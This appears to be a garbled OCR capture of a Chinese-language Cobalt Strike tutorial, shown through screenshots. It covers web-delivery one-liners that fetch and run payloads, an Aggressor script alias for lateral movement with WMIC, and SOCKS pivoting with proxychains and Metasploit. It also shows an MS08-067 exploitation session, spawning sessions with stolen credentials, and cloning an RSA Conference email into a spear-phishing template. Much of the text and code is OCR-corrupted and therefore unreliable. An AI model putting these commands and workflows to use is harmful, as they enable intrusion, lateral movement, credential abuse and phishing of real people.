URI Path: |fc '

Local Host; [172.16.14.197 |

Local Port: |80 I

| Listener: |local - beacon http - | [ Add ] L
I 7T ———— L
~Launcha [ Help ] I

- sSuccess I, x|

Started service: Scripted Web Delivery
Copy and paste this URL to access it

o

ok |




L python -c “import urlib2; exec urllib.urlopen( httpy/172.16.14....

See more results

python - Inpar! uilhibl: exec urllib { Shut down | »

. 172.16.14.1 172.15.20,80 whatta.hogg GRANITE
& 172.16.14.1 172.16.20.81 whatta.hogg COPPER
u 172.16.14.1 172.16.20.81 whatta.hogq COPPER

| CAPythondT\Python.exe

" Web Log X

Event Log X

L 11

Microsoft BITS/7.8

05/16 00:33:43 visit from: 172.16.14.1
Request: GET /b
page Scripted Web Delivery (bitsadmin)
Microsoft BITS/7.8

D5/16 00:33:45 visit from: 172.16.14.1
Request: GET JPiJu




172.16.14.1 172.16.20.80 whatta hogg GRANITE

I 172.16.14.1 172.16.20,81 whatta.hogg COPPER
§ 172.16.14.1 172.16.20.81 whatta.hogg COPPER

= v Input

ivent Log X | web Log X

Set Beacon Mote:

lpythor|

Microsoft BITS/7.8

/16 00:33:43 visit from [ QK l [ Cancal ]

Request: GET /b

- Scripted Web Delivery = 4 X

i,

This attack hosts an artifact that delivers a Cobalt Strike
payload. The provided one-liner will allow you to quickly get

UHI path_ ._m. T TSI TITITITTTITTITIITIITITI TS TTTIT I ...E!

Local Host: [172.16.14.197 '

Local Port: |80

| Listener:  llocal - beacon http v | [_Ad_d_| ,
| Type: 'regwrﬂ - ]

I Launch. | Help

. Success =.r X

| Started service: Scripted Web Delivery
Copy and paste this URL to access it




3 Type the name of a program, folder, document, or Internet
= resource, and Windows will open it for you.

oS AP PDATA %) Bdbd. exefudel RAPPDATA N BA68. e

axrernail internal = user computear
M 172.16.14.1 172.16.,20.80 whatta.hogg GRANITE
Bl 172.16.14.1 172.16.20.81 whatta.hogg COPPER

172.16.14.1 172.16.20.81 whatta hogg COPPER
B 172.16.14.1 172.16.20.81 whatta.hogg COPPER
Aggressor Script

Aggressor Script 2 Cobalt Strike 3.0 IRRESRATARENHANES.

Aggresor Script SBIFEMEKFNY E Cobalt Strike Z i,

Aggressor BIARRISRSRITF

https.//www.cobaltstrike.com/aggressor-script/



https://www.cobaltstrike.com/aggressor-script/

hREE

Aggressor Script & Armitage FFFRIRIZAS |2 Cortana FYEHH., 18iJ DARPA
B9 Cyber Fast Track IIE, Cortana TIEA8E#SCH. Cortana SiFHAFE
& Armitage FIFIBAIRSS 284 R Armitage 754 Metasploit ®EZE K HINRE,
Cobalt Strike 3.0 275%B Armitage BIEAH_EXT Cobalt Strike BI—IR KL
5, X—THIRMH T —EHEM Cobalt Strike FIARIHS, FHESE Cobalt
Strike FYTHREMIEE—LEZRAY, IXINT{FAIAER/Z Aggressor Script,
Aggressor Script 2—MHIAIES, BAFZaIAY IRC ZFYAIVZRAERF
IR AT TR BRI TR, ERENENER. (RAILISE—
KAJENETTAONBR AR B R , SIRFHMEINH TRE S, &
ALAERERT BRIEH Cobalt Strike ZEFHLLABRENEE,

P EPIES7: S

Aggressor Script JETF Cobalt Strike ZFim, BEXRANERA, BEHNE

Cobalt Strike - > Script Manager, 7Af5#% Load.,



Event Log X | Script Console X | Scripts K|

path
Jrootfevil.cna

| Load || unload || Help |

BASnnkzs

Aggressor Script

Bik&#Ei8: https://www.cobaltstrike.com/aggressor-script/index.html

Hew Connection

Preferences intermnal - user Comgter
isuahz ation ' 172.16.20.8] whatta hogg COPPER
VPN iInterfaces

Listenars

;lm.i

- "

Event Log X |



J 172.16.14.1 172.16.20.81 whatta hogg COPPER

Load a script
Look In: |CJ applet
ﬁ manifest.txt
[ README txt
Event Log !I Scripts X
yath
|lpp|lt tna




path

037726213

Applications

external| Credentials | internal » user
K@ 172.16.] Downloads 172.16.20.81 whatta.hogg
Event Log
Keystrokes
Proxy Pivots
Screenshots
Script Conse |
Targets
Web Log

II Evsard | A VI



aggressor> help

Commands

=

help
Load
Ls

prott
profile

pron
reload
troft
tron
unload
I

iggressor> 1 data query(“targets")|0]

{(os == "Windows®'., address == "'172.16,.20.81", name == "COPPER'. note == "bhar". version
iggressor> x keys(data query(“”targets")[0])

i{"os"' ‘address®, "mame*, "note', ‘version®)

iggressor> I data query(“targets")

(%(os = 'Windows', address => '172.16.20.81"', name => 'COPPER'. note =

iggressor> 1 beacons()

GNU nano 2.2.6 File: demo.cna

popup beacon bottom {
item "Run ALL,.." {
prompt text("wWhich command to run?”, "whoami /groups
binput(@ids, $1);
bshell(@ids, %1):
}, @ids => $1));




iqqressors load froot/cobaltstrike /demo.cna
[+] Load froat/cobaltstrike/demo.cna
II.J_IJI ESSO > ] L

SCripts

external internal = user computer
172.16.20.8] seea 172.16.20.81

. 172.16.14.1 172.16.20.81

Interact
Access
Explore ¢
Proting *
Spawn
un |
k

Sassion '

Input

which command to run?

QoK Cancel

GNU nano 2.2.6 File: demo.cna

popup beacon bottom {
item "Run ALL..." {
prompt text("Which command to run?”, "whoami /groups
binput(@ids, $1);
bshell(@ids, $1);
}. @ids => $1));

}

alias saywhat {

blog($1l, "My arguments are: " , substr($e, 8) . "\n");

|




heacon> saywhat this 1s i

[+] My arguments are:

root{@kali: -/cobaltstrike root@kali. ~/cobaltstrike

&mo. ¢

GNU nano 2.2.6 File: demo.cna

# check 1f our listener exists

if (listener info($%$3) is $null) {
berror("Listener $3 does not exist"”);
retum;

}

# generate our executable artifact
¢mydata = artifact($3, "exe", true);

# generate a random executable name
$myexe = int(rand() * 10000) . ".exe

# state what we're doing.
btask (%1, "Tasked Beacon to jump to %2 (" . listene

# upload our executable to the target
bupload raw($1l, "\\\\ $+ $2 4+ \\ADMINS\\ $+ $myexe

# use wmic to run myexe on the target

describe

$ﬂ|'fL|d1c

bshell($1, "wmic /node: %+ $2 process call create \"c:\\windc

# complete staging process (for bind pipe listeners)
bstage($1, $2, $3);




GNU nano 2.2.6 File: demo.cna

# upload our executable to the target
bupload raw($l, "\\\\ $+ $2 $+ \\ADMINS\\ $+ Smyexe', $mydata

# use wmic to run myexe on the target
bshell(%1, "wmic /node: $+ $2 process call create \"c:\\windo

# complete staging process (for bind pipe listeners)
bstage($1, $2, $3);

# register help for our alias

beacon command register("wmi-alt”, "lateral movement with WMIC",
Synopsis: wmi-alt [target] [listener]\n\n
Generates an executable and uses wmic to run 1t on a target

i help fir %

rportiwd

Setup a reverse port forward

runas Execute a program as another user
screenshot lfake a screenshot

shell Execute a command via cmd.exe

sleep Set beacon sleep time

socks Start SOCKS4a server to relay traffi
socks stop Stop SOCKS4a server

Spawn Spawn a session

Spawnas Spawn a session as another user

spawnto Set executable to spawn processes into
steal token Steal access token from a process

times tomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon

upload Upload a file

wdigest Dump plaintext credentials with mimikatz
winrm Use WinRM to spawn a session on a host
winl se WHI to Spawn a sesslon on a host
wmi-alt lateral movement with WMI(

w1 s e hHl (0 Spawn a4 Sess1on on 4 No
wmi-alt lateral movement with WMIC

beacons help wmi-alt
SYyNopsIsT e aw i;-1|'r-'T| |l|."‘le'II|'||




beacon> wmi-alt 172.16.20.80 "local eacon smb"
lfasked Beacon to jump to 172.16.20.80 (windows/beacon smb/bind pipe (\\172.16,20,.80
Tasked beacon to upload Iz, . 20, B0VADMINS\ 7921 .28 as ’ .28, BO\ADMINS 792

[-1'--#-'!! |-' diL Of to I Wil l 72.16.20,80 |Z'r ILESS ... L 3 LE i L ir!'l' b ra2l.

L T o T I T N S ]

EALET Tl wmETTIaEa - WUsel LL.IIH*J\..II.I'_"Q
i~ 172.16.20.8] seee 172.16.20.80
EE 172.16.20.8] seee 172.16.20.81 w'“.atta.hcgg* COPPER
Bl 172.16.14.1 172.16.20.81 whatta.hogg COPPER

Event Log X | Script Console X | Beacon 172.16.20.81@3080 X | Beacon 172.16.20.81@3704 X

1~/cobaltstrike# ./agscript
Welcome to the Cobalt Strike (Headless) Client. Version 3.1-beta (20
Copyright 2015, Strategic Cyber LL(

Quick help:

Jagscript [host] [port] [user] [pass]
Connect to a team server and start the Aggressor Scri

Jagscript [host] [port] [user] [pass] </path/to/file.cna>

] 3 A ] b ‘ 1Y e . ¥ (o] [t

LAMTIIEL L LW @ LEam S Vel diu R B LIRS SEPRTL L0 AETU SR P OLpRL
: iked . /agscript 127.8.8.1 5 1 mybot password
AQgresso -



aggressor= help

Commands

roctiidalc -fcobaltstrike roobidkali: -foobal tstrike demao.ona demo . .cna

GNU nang 2.2.6 File:

demo?. cna

event spy script
T
println("[ %+ %1 : . subarray(@_, 1)});:

M default.can H 4 il 2 BACH



root{@kali: -/cobaltstrike root{@kali: -/cobaltstrike

GNU nano 2.2.6 File: demo.cna

# upload our executable to the target
bupload raw($1l, "\\\\ $+ $2 $+ \\ADMINS\\ $+ $myexe", S$mydate

# use wmic to run myexe on the target
bshell($1l, "wmic /node: $+ $2 process call create \"c:\\windc

# complete staging process (for bind pipe listeners)
bstage($1, $2, $3);
}

# register help for our alias

beacon command register("wmi-alt", "lateral movement with WMIC
"Synopsis: wmi-alt [target] [listener]\n\n
"Generates an executable and uses wmic to run 1t on a target

# beaconid, %meta

set BEACON SBAR LEFT {
local(' $computer Suser $pid');
($computer, $user, $pid) = values($2, @(' computer', ‘user’,
return "[ $+ $computer $+ ] Suser $+ / $+ ipid'ﬂ

}

# beaconid, %meta
set BEACON SBAR RIGHT {
if (32 'note’'] ne "") {
return "\c2" . $2['note'] . \olast: . $2]' lastf
¢

P""'\P' ‘:

# beaconid, %“meta

set BEACON SBAR LEFT {
local (' $computer Suser $pid');
($computer, Suser, $pid) = values($2, @('computer—-users;
return "[ $+ $computer $+ ] $user $+ / $+ $pid |[beacons:

}

# beaconid, %meta
set BEACON_SBAR_RIGHT {
LT 2] 'note ne




# beaconid, %meta
set BEACON SBAR LEFT {
local (' $computer $user $pid');
($computer. _Suser $pid) =_values($?, @('computer’', 'user', 'j
if (right($user, 1) eq "*") {
}
return “| $+ Scomputer $+ | Suser $+ / $+ $pid (beacons:

I

# beaconid, %meta
set BEACON SBAR RIGHT

GNU nano 2.2.6 File: demo.r

#fdefault description of our report [the user can change this].
describe("Hello Report”, "This is a test report.");

# define the Hello Report
report "Hello Report” {
# the first page 1s the cover page of our report,
jage "first" {
# title heading
h1($1['long']);

# today's date/time 1in an italicized format
ts();

# a paragraph [could be the default,..
($1[ 'description']);

}

# thyis is the rest of the report
pdq; rest” {
# hello world paragraph
p("Hello World!");




New Connection

Visualization v
VPN Interfaces
Listeners

Scnpt Manager

Close
Preferences Hl-jl:.q
*» Cobalt Strike These options allow you to customize Cobalt Strke's report
) Console template and load custom reports.
- | | Fingerprints |
-i| iﬁmih Accent Color; | ] m
[
Logo: | ] —_—
L] statusbar .
) Team Servers Reports: Jrootjcobaltstrike/demo.rpt
|

3. Indicators of Compromise
4. Sessions Report
5. Social Engineering Report

Export Data




I Export Report I

Short Title: |Hello Report

Long Title: |Hello Report

Description: [This is a test report.

Output:  |PDF - |

-1 Mask emal -
- PDF

1 Export.. || Help

Site Management

Cobalt Strike ThgeFFAE Y Web IREE:. ihmEETEAIFEREEIL Web

%5528, #HA\Z Attacks -> Web Drive-by -> Manage LUAEIE.

RHER URLFHH% " Copy URL” 1§ URL SHIRIEINEHR, 1% Kill XIFANFHFE

.
SOCKS Proxy Pivoting

#HAZl[beacon] - > Pivoting - > SOCKS Server, EEHIFIPAIRSSE LIRS
SOCKS4a IEARSS =%, BE, (M3 socks 8080 #Eim[ 8080 (EAVEEAYE
Hfthiw[) LiRE SOCKS4a KIEIRSSEE,

BT XL SOCKS BRSSRAIR B IEZENG R /ER B, EAMXAESIRE,
LMEHITHERAY Beacon, #&aTLUEID SOCKS AHMEAZEELH Beacon (BEER

SMBBeacon) H{TRFEEH.



Beacon RY HTTP $iEBENI SRR KRG IR, . WNREVEET DNS &k

FRE, i5(EH DNS TXT iEs@StE=,
ETESRNRER SOCKS R385, BHAZI View - > Proxy Pivots,

£ Beacon #=#I& {3 socks stop SK{ELE SOCKS IR 8.
Proxychains

1% proxychains T E&5&HI7MEFERERIEER SOCKS RIEIRSS RS, ErTLAfE
B IRERSIE =75 T Ei@id Cobalt Strike f§ SOCKS fRSS2:

SOCKS Pivoting with Proxychains

108.51.97.41 WS2 @ 3096 FILESERVER @ 1708 JOSHDEV

'.'Jl'lr.'ll_l.r.'l.h':l[lﬂ 575 SYS I[ AcCcess

Explore »

Pwoting *

Spawn

Sessjion *



http://proxychains.sourceforge.net/

beacon> shell netstat -na | findstr "EST"

[*] Tasked beacon to run: netstat -na | findstr “EST"

[+] host called home, sent: 35 bytes

[+] received output:
TcP 16.10. 16, 18:445 10, 10.10,4: 2511 ESTABLISHED
TCP 192.168.57.8:1101 1!2.1&3.5?.1312& ESTABLISHED

)

beacon> sleep 6
[*] Tasked beacon to bhecome interactive [change made to: Beacon 10.16.10.190E3006]

Event Log X | Screenshots X | Keystrokes X ] Beacsr 192.Lﬁ8.5?ﬁ|@1029 X

eacon> shell netstat -na | findstr "EST"
*] Tasked beacon to run: netstat -pa | findstr “EST"
+] host called home, sent: 35 bytes
+] received output:
Tcp 16.10. 10, 18: 445 10, 16, 16, 4: 2511 ESTABLISHED [nteract
TCP 192.168.57.8: 1101 192, 168,57, 18: 22 ESTABLISHED

Access ¢

eacon> sleep @ Explore

*1 Tasked beacon to become interactive [change made to: Beacon 10,16, H].

=
=2pawn Listene

Session * Deploy

Proxy Server Port: |3333

| |
Launckgd |- Hel
LLa LA, B

heacon>= socks 3333
[+] started SOCKS4a server on:




: ~# nslookup ads.losenlove,com
Server: 192.168.1.1
Address: 192.166. 1. 1#53

** gerver can't find ads. losenlove.com: NXDOMAIN

: ~# nslookup ads.losenolove.com
Server: 192.168.1.1
Address; 192.168. 1. 1&#53

BNon-authoritative answer:
Name: ads, losenolove, com

Address:; SEEUYM:ERLUL

GNU nano 2.2.6

File: /etc/proxychains,conf

proxy types: http, socksd4, socks5
( auth types supported: "basic"-http ‘"user/pass'-socks )

oo n

[ProxylList]

# add proxy here ...

B# meanwile

B defaults set to “"tor™
'socksd4 54,167.83. 168 3333'

:~# proxychains ssh jsokol@l92.168.57.18

ProxyChains-3.1 (http://proxychains,sf.net)
|S-chain|-<>-54.167.83.168:3333-<><>-192, 168,57, 18: 22-<<>-0K

The authenticity of host '192,168.57.18 (192,168.57.18)"' can't be established.
RSA key fingerprint is 69:5b:41:4a:2c:94:47:b4:97:c2:66:c0:0b:cd:39:e3.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192,168.57.18' (RSA) to the list of kmown hosts.
jsokol@l92.168.57.18's password:

Linux ubuntu 2.6,.32-33-server #70-Ubuntu SMP Thu Jul 7 22:28:30 UTC 2011 x86 ¢
Ubuntu 10.04.3 LTS

Welcome to the Ubuntu Server!
* Documentation: http://www.ubuntu.com/server/doc

System information as of Fri Sep 18 00:20:43 EDT 2015

System load: 0.0 Processes: 96
Usage of /: 11.1% of 7.23GB  Users logged in: |



Metasploit

ER]LUEIT Beacon 121E Metasploit® Framework JiRIFOEER, €17 Beacon
SOCKS REARSS 2[4 LFMA]FBELA TR E#ENEE] Metasploit®Framework
Feplarh:
1SR LAEIT Beacon f¥iEZEZE Metasploit® Framework JBiEFI&ELR, B2
Beacon Socks fRIEARSS =R AN LAMA], FHFLITREHENGE] Metasploit®FESR
=HElad:
setg Proxies socks4:team server IP:proxy port

setg ReverseAllowProxy true

XI5 B Metasploit® Framework 3 Proxies &I FI T LB THIFR
BigR, —BELIXFA 5o 7@ Beacon AUtk , & unsetg Proxies
RIS LT,

NSRRI EERIAEHELICE, iBHAZ View -> Proxy Pivots., SREETR
RRENIRIBRE R, SAE%R Tunnel, IHHIRRISIR(HIET Beacon (&

Metasploit®Framework FrgEHY setg Proxies i&iZ.

Sending Metasploit through a SOCKS Proxy Pivot



exiorma ntermal = user computar ol

T 108.51.97.41 10.10.10.190

acon to become interactive

Event Log X I Beacon 10.10.10.150830668 X

heacon> s
|*] Tasked beacon to become Interactive

heacon> socks 8888
[+] started SOCKS4a server on:




Applications

|| external| Credentials computer

L0 Downloads

Event Log
Keystrokes

Screenshots
Script Console

Targets
Web Log

user computer | pid type port

Tunnel via SOCKS w

Use this command in the Metasploit Framewgrk to tunnel
exploits and auxiliary modules through this Beacon.
Use unsetg Proxies to stop tunneling through Beacon.




ITIIII

I love shells --egypt

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.11.4-2015090; ]
+ -- --=[ 1476 exploits - 852 auxiliary - 239 post 1
+ == -=-=[ 432 payloads - 37 encoders - 8 nops ]
# == ===[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

1 A
6201

msf > setg Proxies socks4:54.167.683, 166: 6888
Proxies => socks4:54,167,83, 168: 8888
msf > use auxiliary/scanner/smb/smb version
msf auxiliary( ) > set RHOSTS 10.10.10.0/24
RHOSTS == 10.106.10.0/24
mst auxiliary( } > set THREADS 64
THREADS => 64
msf auxiliary( ) = exploit -j
[*] Auxiliary module running as background job
msf auxiliary( ) >
] 10.10.10.4:445 is running Windows 2003 (build:3790) (name:FILESERVER)

auxiliary( ) > use exploit/windows/smb/ms08 067 netapi

msT exploit( ) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind tcp

- - | - & MULOET Lo 1o

sf exploit( ) > show options
odule options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description

RHOST 10.10.10.18 = The target address

RPORT 445 ] Set the SMB service port

SMBPIPE BROWSER e The pipe name to use (BROWSER, SRVSVC)

ayload options (windows/meterpreter/bind tcp):

Name Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: , , seh, thread, process, nong
LPORT 4444 The listen port

RHOST 10.10.10.18 The target address




msf exploit( ) > sessjons -1 1
[*] Starting interaction with 1...

meterpreter > shell

Process 1612 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>netstat -na | findstr “EST"

netstat -na | findstr “EST"
TCP 10,10,10, 18: 445 10.10,10.4:1963 ESTABLISHED
TCP 10,10.10, 18: 2473 10,.10.16,3:445 ESTABLISHED
TCP 10.10.10. 18: 444 10.10 1 ESTABLISHED

'
1LE O 7 Lo T ANL TOlrn

Spawn As

LR IEAEE AR ERYEIR E RS — NP &R Cobalt Strike =8, HAZ!

[beacon] - > Access - > Spawn As ¥JHE,

Elevate with Credentials

beacon> help spawnas
Use: spawnas [DOMAIN‘\user] [password] [Listener]

Attempt to spawn a payload as another uwser, If you don't specify DOMAIN,
Beacon will try to authenticate as a local user.




external internal = user computer
» 192.168.1.10 192.168.2.66 bdade CLIMBER

Interact

CEEEEI pypass UAC
Explore | pump Hashes
Bvoting * | Golden Ticket
Spawn Make Tgken
Sgssion ! | Run Mimikatz

iz

—_—

gxternal internal = user computer
- 192.168.1.10 152.168.2.66 bdade CLIMBER

user password realm

_____ | Usear: |Administrator

heacon> help spawnas
¥ |

Use: spawnas [DOMAINA\user] [password] [1is{EEELGE EFEEENEIEa

Attempt to spawn a payload as another user Domairg |

Beacon will try to authenticate as a local

Listened: |i|ﬂ£:'l| - beacon smb

|
Launch.| | Help

1] ol [} L da™s [5 [}

beacon= spawnas .‘\Administrator passwordl!
[*] Tasked beacon to spawn windows/beacon smb/bind pipe (127.0.0.1:9876) as .‘\Administr:

[




Gis 192.168.2.66 swe 192.168.2.66 N ClIMBER
m 192.168.1.10 192.16B.2.66 bdade CLIMBER

Event Los X | Beacon 192.168.2.66@7604 X |

entLog X | Beacon 192.168.2.66@7604 X

acon> help spawnas
spawnas [DOMAIN‘user] [password] [Listener]

. Interact
empt to spawn a payload as another user. If you don't specify DOMAIN

acon will try to authenticate as a local user. Access * Bypass UA
acon> spawnas .‘\Administrator passwordl! Explore * | pump Has

Tasked beacon to spawn windows/beacon smb/bind pipe (127.0.0.1:9876 Pivot ' ;
| host called home, sent: 196390 bytes £hating Golden Ticl
| established Link to child beacon: 192.168.2.66 =2pawn Make Toke

S@ssion * | Run Mimik:



user password realm note

| Usear lab

| Password: 'p asswordl!

Damain:

Listener: iilDCﬂl - beacon http v || Add

..................................................................................................................................... 4

e

jeacon> spawnas .%\lab passwordl!
[*] Tasked beacon to spawn windows/beacon http/reverse http (192.168.1.2:80) as .‘\lab
[+] host called home., sent: 3631 bytes
“sould not run powershell -nop -exec bypass -EncodedCommand
AFQATAA0ACgAbgBLAHCALOBVAGI AagBLAGMAdAAGAGAAZOBOACAAdwBLAGT AYwBs AGk AZQBuAHOAKQAUAGQ
ps . \lab: 267
ds . \LdD: 2
heacon= pwd
[*] Tasked beacon to print working directory
[+] host called home, sent: 20 hytes
[*] Current directory is c:\users‘\bdade\Documents

heac u.'r|'| > ¢ Ci1\

|l| i
[+] host called home. sent '3 hytes

ES
192.168. 2. 66

con http/reverse http (192. 168.
p/ I bl [feract

c bypass -EncodedCommand O Bypass UAC

MAdAAGAGAAZQBOACAAdWELAGTAYWES AG JERIT, Dump Hashes \GAADABVAGEAZABZ AHOA

Prwoting * | Golden Ticket
ectory Spawn Make Tgken

Sgssion * | Run Mimikatz
e\ Documents = un M =




user password realm note

User: !Iab |
Password: !pasawordl! |
Domain: [. ]
Listener: "Jocal - beacon smb « || Add.|

|

[ La‘nch || Help

beacon> spawnas .\lab passwordl!
f[asked beacon to spawn windows/beacon smb/bind pipe (127.0.

] called homs ent 196392 byt
HEEGT bl ade FTEOA

ALY e a - waw I-.UIII'-IUI.I!I
1 192.168.2.66 sooe 192.168.2.66 lab CLIMBER
Bl 192.168.2.66 owe 192.168.2 66 Administrator * CLIMBER

& XU MET0E

Cobalt Strike EBYANEHATEMBNEZTIREZ—, BERITRERIRE
BYEAER A% E X MEHE(SEA., 1F Cobalt Strike i%i% Attacks -> Spear

Phish 776 X {48 FIEIETN,



Packages '
external Web Drive-by *

Spear Phigh

computer

Ol

Event Log X
[09/17.15:09:20 ==+ raffihas joined |
Spear Phish l.q

To To_Name

user@mint Lou User

RCPT TO DATA

Make sure target emails are in a domain 1. Use %To% and %To_Name% to personalize

that your SMTP server will deliver to. 2. Update plaintext URL references to %URL%
Targets: [Iroot!targets.txt ] l I:
Template: [,froot,'message,txt File Attachment

Don't attach an executable

URL (Replaced in Template)
Replace IP address with FQDN

Attachment: |

Embed URL: |http:/www.myphishingdomain.comwhatever

Mail Server: [192.168.95,187

Bounce To: Irafﬁ@strategiccyber.cum

IRE Targets LIS NAKIXBERRFEBESIR (FIHLELEBERAREEME ). ERTLA
SABTEE M ETFHRHEURT txt XK, SAERE—NAHIRRT (tab )
ERIE S 9 FRAYER FRB AU AN MBS B IS



GNU nano 2.2.6 File: targets.txt

Jim, Stevens@acme, com Jim Stevens
Raphael.Mudge@acme.com Raphael Mudge
Whatta.Hogg@acme.com Whatta I|nq(|l

¥ Template IRE B FHMFEMASEEIR, Cobalt Strike [HEEIRRZE—

RV FEBHER. Cobalt Strike 1SMIBRALERINRRL MBS URL B3
mid.Cobalt Strike ARNERMMEHMFAITTIE. KSE Webmail ZFium#R
BEEEFRBHMERNE. WI7E GMail fh, B "&E (Reply) " FEihHIE
Tk, ARIEE "ERERSUG (original) v,

WETLAEFREE FHRAHENR. eml 18, AT TFEISIEBEEERIAX

& 2 C' 8 nttps://mail. google.com/mail/u/1/#spam/141dc919¢5991dal

G() ISIC in:spam n o raffi@strategiccyber

Click here to enable desktop notifications for Mail. Learn more Hide
Mail - - Delote farever Not spam B g, More 10f 359 > o

m Tell us what cyber security content you want most Spam  x & B

18 RSA Conf <info@e.rs i .com> 2:29 PM (52 minutes ago) - - RSA C
& Reply
that = Forward
ges that were
Filter messages like this
1 oS i you do not see B aphucs.
. 3

A\ Why is this message in Spam? It's similar to message @ detected by

RSAConference |ty

-~ A Mark &

Tr:mshle messapn Q’)




Delivered-To: raffifstrategiccyber.com
Received: by 10.103.008.67 with SMTP id médcap2699790vab;
Thu, 17 Sep 2015 11:29:34 -0700 (PDT)
X-Received: by 10.170.133.144 with SMTP id 2138mr59538Bykb.111.1442514574641;
Thu, 17 Sep 2015 11:29:134 -0700 (PDT)
Return-Path: <v-bggjogn_bnbniajjop_cgeaehnj_cgeaechng_albounce.emc.mkt6910.com>
Received: from mailélll.emc.mkt6910.com (mail63ll.emc.mkt6910.com. [208.95.135.145))
by mx.google.com with ESMTP id 11388i2073422ywe.105.2015.09.17.11.29.34
for <raffifstrategiccyber.com>;
Thu, 17 Sep 2015 11:29:34 -0700 (PDT)
Received-SPF: pass (google.com: domain of v-bggjogn_bnbniajjop_cgeaehnj_cgeaehng_a@bounce.emc.mkt6910.com designates 208.95.135.145 as
permitted sender) client-ip=208.95.135.145;
MAuthentication-Resulta: mx.google.com;
spf=pass (google.com: domain of v-bggjogn_bnbniajjop_cg hnj hng_alb «emc.mkt6910.com designates 208.95.135.145 as
permitted sender) smtp.mailfrom=v-bggjogn_bnbniajjop_ hnj .emc.mkt6910.com;
dkim=pass header.i=fe.rsaconference.com
DKIM-Signature: v=1; a=rsa-shal; c=relaxed/relaxed; s=spopl024; d=e.rsaconference.com;
h=Date:From:Reply-To:ToiMessage-ID:Subject :MIME-Versioni:Content-Type:List-Unsubscribe; i=infole.rsaconference.com;
bh=BDINOMQCHO6 +SU2z0Kc6mDpS141E=;
buOLuQH?SkLYOSluxncrq0ptuloV:0Jans¢loDDnN!CleAccTBHﬂxlTHFylhx(ﬂlj!GCCJJh'yUF
Pr+Gj3/RLm97wHKvJIebPQbzTXdoDxIWmMrEP6x{UhkBUX6E {FEEOypMEPIoTMycf ymABSwbipNe U
JUBVOjykIgplVW1SbCQ=
DomainKey-Signature: a=rsa-shal; c=nofws; g=dns; s=spopl024; d=o.rsaconference.com;
b=qB/HxYW1CWjexaH+ALl2kaVA4KAZNALxYC {HpaeC4LRFFH+mSheKvuFuod ZPPXtML/2waT7E2 (20T
1xJtDO4UFb0C4c66MiaavdXdS/+T028aTAGNMOA 1 aXD+6HDDLApo+DIxtzd2CIaED+XY6BLrt 62U
SBHy/f0ERJS01QT207U=;
Recoived: by mail63ll.emc.mkt6910.com id hvclBal9ifd44 for <raffifstrategiccyber.com>; Thu, 17 Sep 2015 18:29:34 +0000 (envelope-from <
bggjogn_bnbniajjop_ hnj_ hng_a@b .emc.mkt6910.com>)
Date: Thu, 17 Sep 2015 18:29:34 +0000 (GMT)
From: RSA Conference <infole.rsaconference.com>
Reply-To: infole.rsaconference.com
To: raffifstrategiccyber.com
Message-ID: <587280498.512520071442514574068.JavaMail.appirbgl3.atlisl>
Subject: Tell us what cyber security content you want most
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=" ===-= _Part_147105_1806109928.1442514555623"
x-mid: 23502445
x-job: 23502445
x-rpcampaign: sp23502445
x-orgld:s 29125

~# cat >rsa.template




Ke X L D K oo KA.

MDIONDUS 1&r=MTI1MDOSMDE4AODYzS0&b=0& j=NjOQxNzQ20TA1SO&mt=2&r j=NjOxNzQ20TAyS0&rt=0" name="privacy statement"
yle="color: #CCCCCC" >View the RSA privacy policy.</a><br />

&nbsp; </p>

</th>

<th bgcolor="#575656" scope="col"
dth="30">&nbsp; </th>

</table>
</th>
</tr>

</table>

<br />

<br />

<br />

&nbsp; </th>
</tr>

</table>

<IMG src="http://links.emc.mkt6910, com/open/log/23502445/MT1 1NDQSMDEAODYzS0/0/NjQxNzQ20TAL1S0/2/NjQxNzQ20TAy
0/0"></body>

</html>

To To_Name
Jim.Stevens@acme.com Jim Stevens
Raphael Mudge@acme.com Raphael Mudge

Whatta.Hogg@acme.com Whatta Hogg

Targets: Jrootftargets txt | kel

Template: |froot/rsa.template | el
. 11 r

Attachment: L |

| Embed URL: |http://ads losenclove.com:BO/search?id=%TOKEN%

Mail Server: |192.168.1.95 |l
Bounce To: téétfc_ﬂ.;atltlanci-ter"-:c.or;r'w. i

Preview. | | .Send. || Help

FEC

1. targets EEREEFHBE
2. teamplate J9EB FHBH1ENR
3. Embed URL:J9B#&H URL F9E KI5

4. Mail server: BB &XEIRSEEE



5.Bounce TO:BREIAYEEFHp{&biE

Raw [ HTML | Text |
List-Unsubscribe: <mailto:v-bggjogn _bnbniajjop cgeaehnj cgeaehng a@bounce.em

...... = Part 147105 1806109928, 1442514555623
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
“"http: //www.w3.0rq/TR/xhtmL1/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.0rqg/1999/xhtml" >
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
<style type="text/css'>
</style>
</head>
<hody><CENTER><FONI Hlt}:“ 1" COLOR="#000000" FACE="ARIAL">This message conta
graphics, <A href="http://ads.losenolove.com:80/search?id=1234567890ab" >c Li
face=""ARIAL" color="#808080" size="2"><hr></font></CENTER>
<table border="0" cellpadding="0" cellspacing="0" width="100%">

« t' .
<th align="center" bgcolor="#ele0e0d" scope="col"
<table border="0" cellpadding="0" cellspacing="0"

| Close..|

Spear Phish
To To_Name
Jim.Stevens@acme.com Jim Stevens
Raphael Mudge@acme.com Raphael Mudge

Whatta.Hogg@acme.com Whatta Hogg

Targets: frootftargets.txt || { ] |

Template: froot/rsa.template || CJ |
| Attachment: | [ |
| Embed URL: |http://ads losenoclove.com 80.rsear'r.h?_td:gTEKErTJ% |

Mail Server: [192.168.1.95

Bounce To: [test@attacker.com |

| Preview || Help




Event Log JILI sENU EInan A l

Subject Tell us what cyber security content you want most
lfargets i targets

Template Jroot/rsa, template

